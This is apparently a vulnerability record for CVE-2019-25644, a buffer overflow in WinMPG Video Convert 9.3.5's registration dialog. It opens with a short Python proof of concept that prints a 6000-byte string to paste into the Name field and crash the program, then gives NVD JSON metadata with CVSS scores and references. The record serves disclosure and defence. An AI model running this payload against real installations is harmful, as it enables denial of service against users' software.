CVE-2019-25644

# PoC for CVE-2019-25644 # This script generates a payload to trigger the buffer overflow. # Generate a payload of 6000 bytes # The vulnerability triggers when this is pasted into the Name or Registration Code field. payload = b"A" * 6000 try: print(f"[+] Payload generated with length: {len(payload)}") print("[+] Copy the string below and paste it into the vulnerable field:") # Print payload as string for clipboard usage print(payload.decode('latin-1')) except Exception as e: print(f"[-] Error generating payload: {e}")

{"cve": {"id": "CVE-2019-25644", "sourceIdentifier": "[email protected]", "published": "2026-03-24T12:16:06.840", "lastModified": "2026-04-21T16:39:08.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WinMPG Video Convert 9.3.5 and older versions contain a buffer overflow vulnerability in the registration dialog that allows local attackers to crash the application by supplying oversized input. Attackers can paste a large payload of 6000 bytes into the Name and Registration Code field to trigger a denial of service condition."}, {"lang": "es", "value": "WinMPG Video Convert 9.3.5 y versiones anteriores contienen una vulnerabilidad de desbordamiento de búfer en el diálogo de registro que permite a atacantes locales bloquear la aplicación al proporcionar una entrada sobredimensionada. Los atacantes pueden pegar una carga útil grande de 6000 bytes en el campo Nombre y Código de Registro para desencadenar una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:direct-soft:winmpg_video_convert:*:*:*:*:*:*:*:*", "versionEndIncluding": "9.3.5", "matchCriteriaId": "1E0F6596-B364-40F0-BFA6-973244D7798E"}]}]}], "references": [{"url": "http://www.winmpg.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.winmpg.com/down/WinMPG_VideoConvert.zip", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46553", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/winmpg-video-convert-buffer-overflow-local-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}